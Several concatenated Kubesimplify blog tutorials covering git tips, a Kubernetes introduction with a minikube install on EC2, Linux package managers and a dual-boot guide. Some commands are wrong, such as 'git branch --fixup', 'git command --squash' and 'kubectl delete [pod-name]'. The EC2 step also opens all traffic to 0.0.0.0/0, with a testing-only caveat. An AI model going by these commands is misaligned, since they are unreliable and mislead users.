The command `git config` provides a way to create aliases which are commonly used to shorten an existing command or create your own new custom commands.

Let's look at an example:
```
git config --global alias.ac "commit -am"
git ac "noice!"
```
We made an alias called `ac` that runs the "add" and "commit" command with just two letters. 

This allows us to run things faster, but sometimes going fast leads to mistakes.

## Amend

What if you made a typo in your last commit message - `git ac "noice!"`❓


![Screenshot (290).png](/img/blog/get-good-at-git/rcltfQDF9.png)

Instead of resetting and committing a new commit, the `--amend` flag followed by a new message will simply update the latest commit.
```
git commit --amend -m "nice!"
```
Or maybe you forgot to include or stage a couple of files with your last commit.
You can also update your last commit with new files by using the `--amend` flag. 

And if you want to keep the same commit message, add the `--no-edit` flag as well. 
```
git add .
git commit --amend --no-edit
```


## Force Push 😧

Keep in mind, the above command only works when you haven't already pushed your code to a remote repository.

Unless you like to live dangerously, in which case, you can do a "git push" with the `--force` flag. 
```
git push origin master --force
```
This will overwrite the remote commit with the state of your local code.

However, if there are commits on the remote branch that you don't have, you'll lose them forever. 


## Revert 

But what happens if you push some code to a remote repository and then realize it's a complete garbage and never should've been there in the first place.

Git `revert` command allows you to take one commit and go back to the state that was there previously.
```
git revert better-days
git log --oneline
```

![Screenshot (291).png](/img/blog/get-good-at-git/W05yq2ZSE.png)

We will use the "revert" command with the hash id of the latest commit.
```
git revert b4f4098
```
It's kind of like an undo but doesn't remove the original commit from the history. Instead, it just goes back to the original state.


![Screenshot (292).png](/img/blog/get-good-at-git/B69L7SQWO.png)

And, that's much easier 👍


## Codespaces

Another case is, you may need to work on a repository but not have access to your local machine.

If you are in your Grandma's house without your laptop, you can use any computer that has a web browser.

> Go to the GitHub and find the repository that you want to want to work on.
Then hit the period key on your keyboard.


![Screenshot (273).png](/img/blog/get-good-at-git/_Z9Bk5ebx.png)

And like magic, it pulls up a browser-based version of VS Code where you can make edits, submit pull requests and do almost anything else you could do locally, well except for run the terminal. 

If you do need to run terminal commands, you can setup a GitHub code space in the cloud which will give you the full power of VS Code and is, likely, much faster than your Grandma's computer.

## Stash

Let's switch gears to Git stash.

Have you ever spent time working on some changes that almost work, but they can't really be committed yet? 

`git stash` will remove the changes from your current working directory and save them for later use without committing them to the repo.

The simple way to use it is, 
```
git stash
git stash pop
```
when you're ready to add those changes back into your code.

But if you use the command a lot, you can use `git stash save` followed by a name to reference it later.
```
git stash save coolstuff
```
Then when you are ready to work on it again, use `git stash list` to find it and then `git stash apply` with the corresponding index to use it.
```
git stash list
git stash apply 0
```
Now if you want to use a "stash" at Grandma's house, you have now a solution 😉

You can use a GitHub codespace in which case, your stashes would be saved in a file.

That's pretty cool!

![Codespace.webp](/img/blog/get-good-at-git/XZBu8ENOL.webp)


## PC Master Branch

Now, I have a public service announcement for developers in the modern era.

Historically, the default branch in git is called the "master" branch, which is now referred to as "main", "mega" or "mucho". 

![Master branch git 1.png](/img/blog/get-good-at-git/AKDLYtZzm.png)
 
To change it, use "git branch" followed by the `-M` flag to rename it to main, or maybe get creative and invent your own name.
```
git branch -M mucho
```

## Pretty Logs

Another command, you might be probably familiar with, is `git log` to view a history of commits.
The problem with this command is that the output is harder and harder to read as your project grows in complexity.

To make the output more readable, add the options of `--graph`, `--oneline` and `--decorate`.
```
git log --graph --oneline --decorate
```
You can now see a more concise breakdown and how different branches connect together.


![Screenshot (274).png](/img/blog/get-good-at-git/YWLBB2NH_.png)

But if you're looking at the "git log", there's likely a commit in there that's currently breaking your app ;)


## Searching Logs 🔍

The `log` command can also be used to search for specific changes in the code. 

For example, you can search for the text **README file added in Kubesimplify** as follows.
```
git log -S "README file added in Kubesimplify"
```
This command returns the commit where the file is added in the Text directory.

## Bisect

Git bisect allows you to start from a commit that is known to have a bug, likely the most recent commit.

But if you knew that the app was working a few hours ago, you can point bisect to the last working commit.
```
git bisect start
```
Then, it performs a binary search to walk you through each commit in between.

![git bisect.png](/img/blog/get-good-at-git/DyOfiV0hB.png)

If the commit looks good, type `bisect good` to move on to the next commit.
```
git bisect bad
git bisect good 5b010ef
git bisect bad
```

Eventually, you will find the bad one and know exactly which code needs to be fixed.

## Autosquash

Another advanced git technique that every developer should know is how to squash their commits.


![git squash.png](/img/blog/get-good-at-git/TRpN0rhed.png)

Imagine, you are working on a feature branch that has three different commits. And you are ready to merge it into the master branch.


![Screenshot (275).png](/img/blog/get-good-at-git/ptUEQMUb7.png)

But all these commit messages are kind of pointless, and it would be better if it was just one single commit.


![Screenshot (276).png](/img/blog/get-good-at-git/e_ryRP3Tm.png)


We can do that from our feature branch by running "git rebase" with the `--interactive` option for the main branch.
```
git rebase master --interactive
```
This will pull up a file with a list of commits on this branch.


![Screenshot (277).png](/img/blog/get-good-at-git/gy6ts3_qY.png)

If we want to use a commit, we just use the `pick` command.

We can also change a message using `reword` command.

Or we can combine or squash everything into the original commit using `squash` command.


![Screenshot (279).png](/img/blog/get-good-at-git/wn4LdsjG7.png)

Go ahead, save the file and close it.

Git will pull up another file prompting you to update the commit message, which by default will be a combination of all the messages that you just squashed.


![Screenshot (280).png](/img/blog/get-good-at-git/Dfbj4-SBC.png)

And if you don't like all the messages combined, you can use "fixup" instead of "squash" when doing the rebase.

To be even more productive, you can also use `--fixup` and `--squash` flags when making commits on your branch.
```
git branch --fixup fb2f677
git command --squash fc2f55
```
On doing this, it tells git in advance that you want to squash them. 

So when you go to do a rebase with the `--autosquash` command, it can handle all the squashing automatically.

```
git rebase -i --autosquash
```

## Hooks 🔌

Now, if you maintain a repo, one tool that can be very helpful is "Git hooks."
```
git commit -m "It is fixed"
```
Whenever you perform an operation with git like a commit for example, it creates an event. 

And hooks allow you to run some code either before or after that event happens.

If you look in the hidden git directory, you will see a directory called "hooks". And inside it, you will find a bunch of different scripts that can be configured to run when different events in git happen.


![Screenshot (285).png](/img/blog/get-good-at-git/b006l5HXG.png)

> If you happen to be a JavaScript developer, there's a package called "husky" that makes it much easier to configure git hooks.


![Screenshot (286).png](/img/blog/get-good-at-git/sPd3Ltdm2.png)

For example, You might install it with npm, then create a script that will validate or link your code before each commit. And that can help improve your overall code quality.


![Screenshot (287).png](/img/blog/get-good-at-git/d9MVglzom.png)


## Destroy Things 💥

To wrap things up, let's talk about deleting things.

Let's imagine you have a remote repository on GitHub than a local version on your machine that you have been making changes to. But, things haven't been going too well. 


![Screenshot (288).png](/img/blog/get-good-at-git/-Xs5E1mRG.png)

And you just want to go back to the original state in the remote repo.
```
git fetch origin
git reset --hard origin/master
```
First, we do `git fetch` to grab the latest code in the remote repo.

Then, use reset with the `--hard` flag to override your local code with the remote code.

- Be careful, your local changes will be lost forever.

But you might still be left with some random untracked files or build artifacts here and there.

Use the `git clean -df` command to remove those files as well.

If you want to get rid of it altogether, maybe you want to try out Apache subversion to change things up a bit.

All you have to do is, delete that hidden git folder, and you are on your own again.

![Screenshot (289).png](/img/blog/get-good-at-git/FhfyfCpE9.png)

## Checkout to Last

Oh! There's one other tip that comes in really handy.
  
If you recently switched out of a branch and forgot its name, you can use:
```
git checkout -
```
It takes you directly back to the previous branch that you were working on.


## Conclusion

Hopefully, a few of these commands can help you in your Git journey. There are many other amazing Git commands- Explore and Learn!

If you have any additional Git tips, make sure to leave them in the comments.



*If you are unfamiliar with the basics of Git, click on [Kunal Kushwaha's Git Tutorial video](https://www.youtube.com/watch?v=apGV9Kg7ics&t=303s&ab_channel=KunalKushwaha)*

*Source of the blog: [ Fireship video](https://www.youtube.com/watch?v=ecK3EnyGD8o&t=398s&ab_channel=Fireship)*


🤝**Let's Connect [here](https://linktr.ee/BushraNazish) and Learn Together**

> Do Follow Kubesimplify for more awesome blogs 🙋

---

# ✨ Introduction to Kubernetes ✨

- Canonical: https://blog.kubesimplify.com/introduction-to-kubernetes
- Published: 2022-05-03

### 💥 Challenges without Container Orchestration 🤔

Let's assume an application. It has multiple services running inside containers. Now, each container have to be scaled as per requirements, the code has to be managed.
 
As containers are scalable so, we can scale it up to a definite number. But this is going to take lots of manual effort. In real world scenarios where you want to scale it up to like 50-100 containers then in that case what happens is that after you scale up these containers manually then you have to manage containers means you have to check whether all are working or not, they are active or not, they are talking to each other or not. So. it's a big task to handle so many containers manually. 
So, to scale up these containers, we need something so that you don't have to worry about the track of these containers. Here, the **Orchestration** comes into the picture.

### 💥 What is container orchestration? 

Container orchestration automates the provisioning, deployment, networking, scaling, availability, and lifecycle management of containers. 

Container orchestration tools:

- Kubernetes 
- Docker Swarm
- Apache Mesos 
- Azure Kubernetes Service (AKS)
- Amazon Elastic Container Service (EKS)
- Google Kubernetes Engine (GKE)

**Today, Kubernetes is the most popular container orchestration platform**.

### 💥 What is Kubernetes 

“[Kubernetes](https://kubernetes.io/)” is a Greek word, which means **helmsman** or **pilot**. “K8s” is an abbreviation derived by replacing the eight letters “ubernete” with “8”. 

Kubernetes project was started by **Google** in 2014, and now it is maintained by the **Cloud Native Computing Foundation (CNCF)** — an open source software foundation dedicated to making cloud-native computing universal and sustainable. 

![Screenshot (921).png](/img/blog/introduction-to-kubernetes/qY05YzXVF.png)

Kubernetes is an open source **containerization orchestration** platform for automating deployment, scaling and management of containerized application,  i.e. it automates container operations by eliminating the manual processes involved in deploying and scaling containerized applications. It basically groups the containers that make up an application into simple logical units for management. 

K8s gives the freedom to take full advantage of on-premises, hybrid or public cloud infrastructures and lets us effortlessly move work close to where it matters to us.


### 💥 Features of Kubernetes

**Self-Healing** - Kubernetes can automatically restart containers that fail during execution and if nodes itself die, then it replaces and reschedules those failed containers on other available nodes.

**Automatic Rollbacks & Rollouts** - Kubernetes progressively rolls out changes to your application or its configuration, while monitoring application health to ensure it doesn't kill all your instances at the same time and if something goes wrong, Kubernetes will rollback the change for you. 

**Automated discovery and load balancing** -  Kubernetes can expose a container with an IP address or domain name and distribute network traffic across containers as needed to maintain performance.

**Horizontal Scaling** - K8s can scale up and scale down the application as per requirements with a simple command, with a UI, or automatically based on CPU usage.

**Storage orchestration** - Automatically mount the storage system of your choice, whether from local storage, a public cloud provider such as GCP or AWS, or a network storage system such as NFS, iSCSI, Gluster, etc.


### 💥 Kubernetes Architecture

A Kubernetes cluster consists of at least one main (control) plane or master node, and one or more worker machines or nodes.
Both the control planes and nodes instances can be physical devices, virtual machines, or instances in the cloud.

![K8s-architecture.png](/img/blog/introduction-to-kubernetes/b3YS0tCQl.png)

🔆 **Node**

- A node is the smallest unit of computing hardware in Kubernetes. 
- It is a representation of a single machine in your cluster.
- Each Node is managed by the control plane. 
- A Node can have multiple pods, and the control plane automatically handles scheduling the pods across the Nodes in the cluster.
🔆 **Pod **

- Pods are the smallest deployable unit in a Kubernetes cluster. 
- A group of one or more containers, but not necessarily, a Pod usually contains one container.
- All applications in a pod share the same resources and local network, easing communications between applications in a pod.  


🔆 **Control Plane**

- The control plane is also known as a **master node** or head node.
- Responsible for managing the k8s cluster.
- It is the entry point for all administrative tasks.
- There can be more than one master node in the cluster, only one of them will be leader.
- The control plane receives input from a CLI or UI via an API.

**Control Plane Components**

👉 **kube-apiserver**

- API server is a component of the Kubernetes control plane that exposes a REST interface to the Kubernetes cluster. 
- It is the front end for the Kubernetes control plane.
- It tracks the state of all cluster components and manages the interaction between them.

👉 **Etcd **

- Etcd is a consistent, distributed, and highly-available key-value store.
- A persistent storage that stores all of Kubernetes cluster data (cluster state and config).
- It can be part of the control plane, or, it can be configured externally.

👉 **kube-Scheduler **

- Responsible for assigning work to the various nodes.
- It schedules pods to worker nodes.
- It watches api-server for newly created Pods with no assigned node, and selects a healthy node for them to run on. If there are no suitable nodes, the pods are put in a pending state until such a healthy node appears.

👉 **kube-controller-manager**

- It is a controller of controllers.
- It watches the desired state of the objects it manages and watches their current state through the API server and always make sure that the current state is the same as the desired state.

Some types of controllers are:

- **Node controller**: Responsible for noticing and responding when nodes go down.
- **Job controller**: Watches for Job objects that represent one-off tasks, then creates Pods to run those tasks to completion.
- **Endpoints controller**: Populates the Endpoints object (that is, joins Services & Pods).
- **Service Account & Token controllers**: Create default accounts and API access tokens for new namespaces.

👉 **Cloud Controller Manager**

- The cloud controller manager integrates with the underlying cloud technologies in your cluster when the cluster is running in a cloud environment.

The following controllers can have cloud provider dependencies:
- **Node controller**: For checking the cloud provider to determine if a node has been deleted in the cloud after it stops responding.
- **Route controller**: For setting up routes in the underlying cloud infrastructure.
- **Service controller**: For creating, updating, and deleting cloud provider load balancers.


🔆 **Worker Node(s)**

- The worker node is known as data plane or compute node.
- A virtual or physical machine that contains the services necessary to run containerized applications.
- A Kubernetes cluster needs at least one worker node, but normally has many.
- The worker node(s) host the pods that are the components of the application workload.
- Pods are scheduled and orchestrated to run on nodes.
- Cluster can be scaled up and down by adding and removing nodes.

**Worker Nodes Components**

👉** kubelet**

- It runs as an agent on each node in the cluster.
- A Kubelet tracks the state of a pod to ensure that all the containers are running and healthy, and provides a message every few seconds to the control plane.
- It watches API Server for work tasks.
- Gets instructions from master and reports back to Masters.

👉 **kube-proxy**

- Kube-proxy is a networking component that routes traffic coming into a node from the service to the correct containers.
- It is a network proxy that runs on each node in a cluster and manages IP translation and routing.
- It maintains network rules on nodes. These network rules allow network communication to Pods from inside or outside the cluster.
- It ensures each pod gets a unique IP address and makes possible that all containers in a pod share a single IP.

👉 **Container runtime**

- Container runtime is responsible for running containers (in Pods).
- To run the containers, each worker node has a container runtime engine.
- It pulls images from a container image registry and starts and stops containers.
- Kubernetes supports several container runtimes like Docker, contained, CRI-O.

### Installation

👉 Click on [Link](https://gist.github.com/mrbobbytables/d9e5c7224dbba989cf0b8a30d7a231a4) for Kubernetes installation according to your requirements.


💥 In this blog, I will show step-by-step guide on how to install minikube on AWS EC2 instance and run K8s command.

**Prerequisites**

- An AWS account, if you don’t have one, you can register [here](https://aws.amazon.com/free/?trk=dab92267-e340-4581-bd5d-746cf58f7be9&sc_channel=ps&sc_campaign=acquisition&sc_medium=ACQ-P|PS-GO|Brand|Desktop|SU|Compute|EC2_Graviton|IN|EN|Text&s_kwcid=AL!4422!3!525855180476!p!!g!!amazon%20web%20servers&ef_id=Cj0KCQjwpImTBhCmARIsAKr58cytcntGXf-a_pVezjcXDKeahcvpW13ZdG6Ds2U40rdl4yT9BHfQm_8aAi0KEALw_wcB:G:s&s_kwcid=AL!4422!3!525855180476!p!!g!!amazon%20web%20servers&all-free-tier.sort-by=item.additionalFields.SortRank&all-free-tier.sort-order=asc&awsf.Free%20Tier%20Types=*all&awsf.Free%20Tier%20Categories=*all)

- [Create a key pair](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/create-key-pairs.html#having-ec2-create-your-key-pair)


🎯 **Launch an Amazon EC2 instance**

👉 Open the Amazon EC2 console by choosing EC2 under Compute.

![Screenshot (908).png](/img/blog/introduction-to-kubernetes/bave4GEIr.png)

👉 From the Amazon EC2 dashboard, choose Launch Instance.

![launc instance.avif](/img/blog/introduction-to-kubernetes/Pl--u8uCk.avif)

👉 Then Choose an Amazon Machine Image (AMI). Select the HVM edition of the Amazon Linux AMI. Notice that this configuration is marked Free tier eligible.

![AMI.avif](/img/blog/introduction-to-kubernetes/a9jvkZvqm.avif)

👉 Now, Choose an Instance Type page, the t2.medium (2 vCPU). Minikube requires a minimum of 2 vCPUs. There will be an error if you will select t2.micro.

**Note**: t2.medium is no longer in the Free Tier, make sure to stop or terminate the instance after you are done testing to avoid a huge AWS bill.

![Screenshot (939).png](/img/blog/introduction-to-kubernetes/22vlLs9ww.png)

👉 Leave Configure Instance Details, Add Storage and Add Tags steps as default.

👉 Configure Security Group

Click Add Rule, and then choose All Traffic from the Type list. Under Source, select Custom and in the text box enter public IP address range enter 0.0.0.0/0.

**Note**: only for testing servers, allow all traffic. Not recommended for Production Servers.

![Screenshot (925).png](/img/blog/introduction-to-kubernetes/1nkKzKP8f.png)

👉 Click Review and Launch.

👉 In the Select an existing key pair or create a new key pair dialog box, select Choose an existing key pair, and then select the key pair you created or any existing key pair you intend to use.

![Screenshot (926).png](/img/blog/introduction-to-kubernetes/82ATPSGXJ.png)

⏩ In the left-hand navigation bar, choose instances to see the status of your instance. Initially, the status of our instance is pending. After the status changes to running, the instance is ready for use 🥳

![Screenshot (927).png](/img/blog/introduction-to-kubernetes/2qkHrGGmY.png)

**Connect to your Linux instance**

⚜ Here, I am using Putty to connect to instance.

You can download it from [here](https://www.putty.org/)

**Let's start 🤩**

✍ Give root power.

```
sudo su - root
``` 

 ✅ **Install kubectl**

**kubectl** is a command-line tool, allows us to run commands against Kubernetes clusters to deploy applications, inspect and manage cluster resources, and view logs.

👉 Download the latest release with the command:

```
curl -LO https://storage.googleapis.com/kubernetes-release/release/`curl -s https://storage.googleapis.com/kubernetes-release/release/stable.txt`/bin/linux/amd64/kubectl
``` 

👉 Make the kubectl binary executable.

```
chmod +x ./kubectl
``` 

👉 Move the binary in to your PATH

```
mv ./kubectl /usr/local/bin/kubectl
``` 

![Screenshot (940).png](/img/blog/introduction-to-kubernetes/KZ-kjWlCo.png)

👉 Check the version you installed.

```
kubectl version --client
``` 

![Screenshot (941).png](/img/blog/introduction-to-kubernetes/Z5uoeIibM.png)


✅ **Install Docker**

```
yum install -y docker
```

![Screenshot (931).png](/img/blog/introduction-to-kubernetes/Aht8QcazT.png)

👉 Enable docker service:

```
systemctl enable docker.service
```

👉 Start the Docker service:

```
systemctl start docker.service
```
👉 Check the Docker version:

```
docker version
```

![Screenshot (930).png](/img/blog/introduction-to-kubernetes/BfyLY023u.png)


✅ **Install Minikube**

```
curl -Lo minikube https://storage.googleapis.com/minikube/releases/latest/minikube-linux-amd64
```

👉 Make the minikube binary executable.

```
chmod +x minikube
```

👉 Move the binary in to your PATH

```
mv minikube /usr/local/bin/
```

![Screenshot (945).png](/img/blog/introduction-to-kubernetes/9r2ZxuwpU.png)

👉 Check Minikube Version

```
minikube version
```
![Screenshot (944).png](/img/blog/introduction-to-kubernetes/WSgod2d3e.png)

👉 Start minikube

```
minikube start --driver=none
```

![Screenshot (943).png](/img/blog/introduction-to-kubernetes/EzAaTEndr.png)

But, Kubernetes v1.23.3 requires conntrack to be installed in root’s path. 

👉 Install conntrack

```
yum install conntrack -y
```

![Screenshot (933).png](/img/blog/introduction-to-kubernetes/ErGM1wxiF.png)

👉  Now, start minikube again.

```
minikube start --driver=none
```

![Screenshot (934).png](/img/blog/introduction-to-kubernetes/sd3D8iwcK.png)

👉  Check the status of minikube:

```
minikube status
```
![Screenshot (942).png](/img/blog/introduction-to-kubernetes/4ErnRGs7f.png)

So, we successfully installed minikube on AWS Linux Instance 🤩

### 💥 Let's Create a Pod 🚀


** By using kubectl command:**

```
kubectl run  [pod-name]  --image=[image-name from registry]
```

![Screenshot (946).png](/img/blog/introduction-to-kubernetes/HOFyRFK5X.png)

📌 Or we can also create using **YAML file**.

** By using YAML file **


```
apiVersion: v1
kind: Pod
metadata:
  name: nginx-pod
spec:
  containers:
  - name: nginx
    image: nginx
    ports:
    - containerPort: 80
``` 


- apiVersion: This refers to the version of Kubernetes.
- kind: This is the type of Kubernetes object. In this case (the example above), we’re creating a pod.
- metadata: The metadata contains information that describes the object briefly, usually contains the name you want to give the object (pod in our case), the labels, etc.
- spec: The spec section is where you define the desired state of your object. 
- Container: Here we specify the name of the container that you’ll run in your pod, the image of the application you want to run in your pods.
- ports:  containerPort is the port on which your application in container is listening to.


Once the above YAML file is created, save the file with the name of  [file-name].yml and run the create command to run the document.

```
kubectl apply -f  [file-name].yaml
```

👉 Check the status of pod

```
kubectl get pods
```

![Screenshot (947).png](/img/blog/introduction-to-kubernetes/xtShnaNZx.png)

👉 View the entire configuration of the pod

```
kubectl describe pod [pod-name]
```

![Screenshot (937).png](/img/blog/introduction-to-kubernetes/iZGgU205D.png)

👉 Delete the pod

```
kubectl delete [pod-name]
```

![Screenshot (948).png](/img/blog/introduction-to-kubernetes/HVdF65EaF.png)



**I hope this blog will help you all in understanding Kubernetes.**

**THANKS FOR READING !!**

🔰 **KEEP LEARNING !! KEEP SHARING** 🧾🔰


🚀 Feel free to connect with me :

[LinkedIn](https://www.linkedin.com/in/anujakumari)  |
[GitHub](https://github.com/Anujakumari)  |
[Twitter](https://twitter.com/anuja6204)

---

# Package Managers Demystified

- Canonical: https://blog.kubesimplify.com/package-managers-demystified
- Published: 2022-05-02
- Summary: Installing software on Linux is very important thing to know especially if you want to become proficient in Linux.  APT and other package managers help us.

# Package Managers



### How to install Software Package on Linux?


A **Software Package** is basically a compressed archive that has all the necessary files required to run an app. There is also a high chance that app depends on other apps (meaning app has dependencies). So, to run the app, dependencies need to be installed too and this is exactly the first issue faced by almost every beginner when he moves from *Window to some Linux Distribution*

In windows, it is comparatively a very easy process to install software packages than Linux. What you have to do in windows is to go to a website, download the setup file of the app and then go through some installation process and there you go, the software is installed. We can do it on Linux, but it is not a recommended way of doing. Instead, we use **Package Managers**.

### Why we use Package Managers?
One of the reason that installing software on Linux is difficult, which results in using Package Managers, is Linux File System. Because on Linux, files in a Software Package  are split across different folders like /bin and /lib. 
![image.png](/img/blog/package-managers-demystified/W5xlk-7n_.png)
So, it is very difficult process to manage the splitting of files in different Linux File System folders manually. 

> *The tool for downloading, installing and updating software in Linux is termed as a **Package Manager**.*

### How Package Manager Works?, a brief overview!
 
The Package Manage will find the software package first, then the dependencies, and then download and install them. Package manager will know where to **put** binary files, libraries, shared files and dependencies etc. The same goes for uninstalling because Package Manager knows where it has put files and will clean these files accordingly. 

### Where Package Manager can be found?

Now, you know what a package manager is, and you may be wondering, where can you can find Package Manager. Thanks to Linux Distributions, every Linux Distribution has Package Manager.  On Ubuntu, which I will be using, we have APT (Advanced Package Tool) Package Manager which helps us install, uninstall and upgrade apps.

To check whether APT Package Manager is installed on your distribution, you can type 
`apt` command in terminal. 
If it is installed, it will show the installed version.
![image.png](/img/blog/package-managers-demystified/OjQON8Mht.png)

### Installing a Software using APT Package Manager

We have APT package manager, let's dig it further by installing java in our Ubuntu. Generally, the commands for installing software looks like 

`sudo apt install <software package name>`

To install java, type

 `sudo apt install openjdk-11-jre-headless`

![image.png](/img/blog/package-managers-demystified/KPu2fX3xt.png)

Type **Y** and installation will start. The terminal will looks something like this, 

![image.png](/img/blog/package-managers-demystified/DPLHe2dRX.png)


### Uninstalling a Software Package


Uninstalling the software is pretty much easy using Package Manager. For this, the command is 

`sudo apt remove <Package Name>`.

in case of uninstalling java, 

`sudo apt remove openjdk-11-jre-headless`


![image.png](/img/blog/package-managers-demystified/ZR7VJ9otO.png)


Then, type **Y** and Package Manager will start uninstalling. 

### APT vs APT_GET

There is one more Package Manager that you will come across is **APT-GET** Package Manager which do almost all the works that **APT** do.  But there is a little difference. 

APT is more user-friendly than APT-Get, and there is no search command available in APT-Get to search the package we want to install. 

Search Command in APT, `sudo apt search <Package Name> `

But it will not work in case of apt-get package manager.

![image.png](/img/blog/package-managers-demystified/NvdBCIber.png)

> APT is recommended by Linux Distribution as well.

### Warehouse of Software Packages

Now, we have done with how we can install software packages, but you may have a question in your mind, that from where does these software packages come from? Where does the package manager find the software to be installed and the dependencies of that software? Linux uses repositories, which you can say are the warehouses where a hundred and thousands of software packages resides. Each distribution has repositories which consists of mostly the packages you need and package manager will fetch the software packages from there. 

There are a couple of official repositories (available online) which are used by a distribution to install the software packages. This repository is stored for apt package manager in `etc/apt/`. Here you will see `sources.list` file which apt package manager will use to find the software package and then fetch it.
As these repositories are online, the links of these repositories are stored in `sources.list` file.

![image.png](/img/blog/package-managers-demystified/zBHBIB_mq.png)

### Alternative Ways to install the software packages:

Yes, it is true that there are alternatives to install the software because of several reasons. 

- There is a possibility that the software you want to install is not in these official repositories. 
- The Latest version of software is not available, the latest version takes a bit of time because of verification process of software package
- Browsers and Code editors like VS Code cannot be installed from official Repositories

### Three Alternative Ways

There are multiple alternatives, but I will be talking about some most common

1.  Ubuntu Software Center
2.  Snap Package Manager
3. Add repository to official list of repositories


### Ubuntu Software Center:
Let’s install IntelliJ using Ubuntu Software Center. 
Search Ubuntu Software in Search Bar, Open it. This kind of interface will be visible.
![image.png](/img/blog/package-managers-demystified/9N9k0eorR.png)
Type IntelliJ in search bar,  select the addition and click install.
![image.png](/img/blog/package-managers-demystified/HbYAeN_dp.png)

### Snap Package Manager:
Snap is a software package for OS using Linux Kernel. It is also preinstalled. There are certain tools/code editors which have installation guides with snap command. 
Snap is basically a bundle of software package and its dependencies. 
You can go to https://snapcraft.io/ which is a store for downloading snap of software. Search for the software, and click install. Then, you will see a command, copy it and run it in terminal.

![image.png](/img/blog/package-managers-demystified/l1m39Sb2j.png)
Or you can go to official VS Code website and there you will see this in installation guide. 
![image.png](/img/blog/package-managers-demystified/X98Nsrl0Z.png)


### Adding Repository
The third way is to add repository to official repository list (etc/apt/sources.list file) and installing from there. This is useful when downloading relatively new software. 

In installation guide, you will see how to add the repository to official repository list and once the repository is added, then you can install it using apt package manager.

### Conclusion

If you liked the blog, don't forget to like and share this blog. Follow [Kubesimplify](https://kubesimplify.com/) for more such tech blogs. Also, feel free to connect with me on [Twitter](https://twitter.com/mhammad_saani). Thank you for your patient reading.

---

# A beginner's guide to Dualbooting Windows with Ubuntu: Part 2

- Canonical: https://blog.kubesimplify.com/a-beginners-guide-to-dualbooting-windows-with-ubuntu-part-2
- Published: 2022-04-29

### What have we covered in [Part 1](https://kubesimplify.com/a-beginners-guide-to-dualbooting-windows-with-ubuntu-part-1) of the Dualbooting Guide.
- Intro to Dual-booting
- Compatibility checks and prerequisites for dual-booting.
- Partitioning of the disk.
- Live USB creation.

We are now moving on to the next steps.

### Booting up using the live USB
We will boot up our system using the live Ubuntu USB we created using Rufus in [Part 1](https://kubesimplify.com/a-beginners-guide-to-dualbooting-windows-with-ubuntu-part-1) of the guide.
1. Plug in the live USB to your system.
1. Search `Change advanced start-up options` from the start panel and go to the settings.
![boot1.png](/img/blog/a-beginners-guide-to-dualbooting-windows-with-ubuntu-part-2/ueVvfTrnl.png)
1. Go to the **Advanced Startup** option and click Restart now.
![boot2.png](/img/blog/a-beginners-guide-to-dualbooting-windows-with-ubuntu-part-2/0sB6QA8Pq.png)
1. Select the **Use a device** option when prompted.
![boot3.png](/img/blog/a-beginners-guide-to-dualbooting-windows-with-ubuntu-part-2/zmNKwN1ag.png)
1. Now, select the USB drive you have plugged into your computer.
1. Your system will now boot into the disk you selected in the previous step, and you will see a similar menu.
![grub1.png](/img/blog/a-beginners-guide-to-dualbooting-windows-with-ubuntu-part-2/5C0Lliu5N.png)
1. Navigate using arrow keys and select **Install Ubuntu**, now press enter.

### Installing Ubuntu
Now, the Ubuntu installation wizard must be visible to you.
1. Select your preferred language.
1. Select the keyboard layout you use on your system and continue.
![ins1.png](/img/blog/a-beginners-guide-to-dualbooting-windows-with-ubuntu-part-2/CUX3OWXqo.png)
1. You will now be asked to enter your Wi-Fi settings; skip this step without entering the information (You can do it after dualbooting).
1. You will now be presented with the type of installation you want to perform and some other options. Select **Normal Installation** and uncheck every other option on the page to speed up the installation process. 
![ins2.png](/img/blog/a-beginners-guide-to-dualbooting-windows-with-ubuntu-part-2/qQfomKAp9.png)
 > You can perform the updates and firmware installations after dual booting.
1. On the next screen, select the **Something Else** option and continue. This way, we can create partitions for Ubuntu manually in the unallocated space that we set aside in [Part 1](https://kubesimplify.com/a-beginners-guide-to-dualbooting-windows-with-ubuntu-part-1) of the guide.
![ins3.png](/img/blog/a-beginners-guide-to-dualbooting-windows-with-ubuntu-part-2/4-C63IlrO.png)
1. Up next, from the list now visible, select the unallocated free space (131072 MB in our case).
1. Now press the + button at the bottom to create the partitions in this free space.
![ins4.png](/img/blog/a-beginners-guide-to-dualbooting-windows-with-ubuntu-part-2/PzKHeH7Qz.png)

### Partitioning of free space
The partition table will have the following scheme in my case, you can assign space as per your requirements:

1. **EFI System Partition**: It holds the EFI-mode bootloaders and related files.
   - Size: **256 MB**
   - Type: **Primary**
   - Location: **Beginning of this space**
   - Use as: **EFI system partition**
![part1.png](/img/blog/a-beginners-guide-to-dualbooting-windows-with-ubuntu-part-2/MjBU3KOjt.png)
1. **Swap Partition**: Reserved space on the drive used to swap pages if physical RAM becomes full.
   - Size: **16384 MB** (i.e. equal to the RAM available in the system for systems with more than 8 GB RAM, else 1.5 times that of the RAM available)
   - Type: **Logical**
   - Location: **Beginning of this space**
   - Use as: **swap area**
![part2.png](/img/blog/a-beginners-guide-to-dualbooting-windows-with-ubuntu-part-2/XrMfag--O.png)
1. **Root Partition**: A space containing files required to run the Linux system after the kernel has been booted up.
   - Size: **45773 MB** (i.e. 40% of the remaining free space)
   - Type: **Logical**
   - Location: **Beginning of this space**
   - Use as: **Ext4 journaling file system**
   - Mount point: **/**
![part3.png](/img/blog/a-beginners-guide-to-dualbooting-windows-with-ubuntu-part-2/74CYlzRB-.png)
1. **Home partition**: A space for storing personal files (application settings, downloads, documents, etc).
   - Size: **68659 MB** (i.e. the remaining free space)
   - Type: **Logical**
   - Location: **Beginning of this space**
   - Use as: **Ext4 journaling file system**
   - Mount point: **/home**
![part4.png](/img/blog/a-beginners-guide-to-dualbooting-windows-with-ubuntu-part-2/ImKSpOxSP.png)
1. Now that all four partitions are created, click on the install now button. (Press continue/yes on any warning displayed).

### Finishing off the installation
Consider this a checkpoint in your journey; if you are here after a few cups of coffee and without any significant issues, pat yourself on your back as you have almost completed the dual-boot.
- Select the timezone you belong to when prompted.
![done1.png](/img/blog/a-beginners-guide-to-dualbooting-windows-with-ubuntu-part-2/9XLgm0QJ7.png)
- Enter the necessary details about the system now.
![done2.png](/img/blog/a-beginners-guide-to-dualbooting-windows-with-ubuntu-part-2/9qbJGpDeT.png)
- Now grab a cup of coffee and wait until the installation is completed. After the installation is done, reboot your system.
![installation-complete-ubuntu.jpg](/img/blog/a-beginners-guide-to-dualbooting-windows-with-ubuntu-part-2/GIknGKukK.jpg)
